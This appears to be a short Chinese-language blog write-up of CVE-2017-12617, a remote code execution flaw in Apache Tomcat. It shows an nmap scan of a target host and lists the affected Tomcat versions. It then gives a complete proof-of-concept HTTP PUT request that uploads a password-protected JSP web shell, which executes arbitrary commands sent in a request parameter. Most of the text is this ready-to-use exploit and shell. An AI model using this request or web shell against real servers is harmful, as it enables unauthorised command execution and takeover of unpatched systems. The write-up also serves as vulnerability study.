CVE-2017-12617远程代码执行漏洞

漏洞

Word count: 467Reading time: 2 min

 2018/12/10 

WriteUp
自动化脚本

WriteUp

nmap扫描目标ip:

root@ywc:~/ywc# nmap -sT -Pn -T4 ip
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-15 10:08 CST
Nmap scan report for 10.10.10.193
Host is up (0.0012s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
80/tcp    open  http
8080/tcp  open  http-proxy
10010/tcp open  rxapi

Nmap done: 1 IP address (1 host up) scanned in 13.26 seconds

访问http://ip:8080发现是tomcat8.5.15版本。CVE-2017-12617(远程代码执行漏洞)影响范围:

Apache Tomcat 9.0.0.M1-9.0.0

Apache Tomcat 8.5.0-8.5.22

Apache Tomcat 8.0.0.RC1-8.0.46

Apache Tomcat 7.0.0-7.0.81

poc:

PUT /shell.jsp/ HTTP/1.1
Host: 10.10.10.193:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>